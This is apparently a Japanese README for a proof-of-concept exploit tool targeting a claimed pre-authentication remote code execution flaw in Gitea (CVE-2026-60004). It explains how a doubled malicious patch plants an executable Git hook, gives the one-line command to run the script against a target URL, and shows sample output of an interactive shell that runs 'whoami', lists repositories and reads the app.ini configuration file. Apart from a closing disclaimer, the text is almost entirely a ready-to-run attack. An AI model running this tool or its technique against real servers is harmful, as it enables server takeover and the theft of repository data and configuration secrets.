
CVE-2026-60004 — Gitea <= 1.27.0 Pre-Auth RCE
これは、Gitea バージョン 1.17 から 1.27.0 における重大なリモートコード実行脆弱性である CVE-2026-60004 の概念実証エクスプロイトです。このスクリプトは、ユーザー登録からターゲットサーバー上での安定した対話型シェルの確立まで、エクスプロイトチェーン全体を自動化します。
脆弱性は /diffpatch APIエンドポイントに存在します。悪意のあるパッチを2回送信すると、add/add の衝突により、--cached フラグを無視するスリーウェイマージのフォールバックがトリガーされ、実行可能なGitフックがベアリポジトリの GIT_DIR に直接書き込まれます。Gitがインデックスを更新するとき、このフックを自動的に実行し、Giteaサービスアカウントとして任意のコマンド実行が可能になります。
GiteaはコンパイルされたGoバイナリであり、組み込みのPHPインタープリタを持たないため、それを実行するように構成されたセカンダリWebサーバーがない場合、従来のウェブシェルをドロップしても失敗することがよくあります。この問題を解決し、エクスプロイトを完全に安定させるために、このスクリプトはAPI駆動のアプローチを使用します。
post-index-change Gitフックを仕込みます。cmd.sh) からコマンドを読み取り、サービスアカウントとして実行し、出力をGit blob (proof) に書き込みます。これにより、外部のWebサーバーやセカンダリインタープリタを必要とせず、Gitea APIを直接介して完全に機能する対話型シェルが作成されます。
python3 poc.py https://target.com
実行されると、スクリプトは自動的にアカウントを登録し、悪意のあるフックを仕込み、対話型シェルにドロップします:
---------------------------------------------------
CVE-2026-60004 -- Gitea <= 1.27.0 Pre-Auth RCE
Fully Interactive API Shell
---------------------------------------------------
[*] Fetching CSRF token from signup page...
[+] CSRF token acquired.
[*] Registering user: poc5wp6tp
[+] Authenticated as poc5wp6tp
[*] Creating repository: poc-ozirkq
[+] Repository created.
[*] Fetching main branch SHA...
[*] Planting malicious hook via add/add collision...
[+] Hook planted and triggered.
[*] Verifying RCE...
[+] RCE VERIFIED! Shell is ready.
uid=1000(git) gid=1000(git) groups=1000(git)
==================================================
Gitea API-driven Interactive Shell
Type 'exit' to quit
==================================================
gitea-rce$ whoami
git
gitea-rce$ ls -la /data/gitea/repositories
...
gitea-rce$ cat /data/gitea/conf/app.ini
...
このツールは、教育目的およびCTFなどの許可されたセキュリティテストのみを対象としています。ターゲットシステムをテストする明示的な許可を必ず取得してください。作者は、このツールによって引き起こされた誤用や損害について一切責任を負いません。
Chirag Artani - https://3rag.com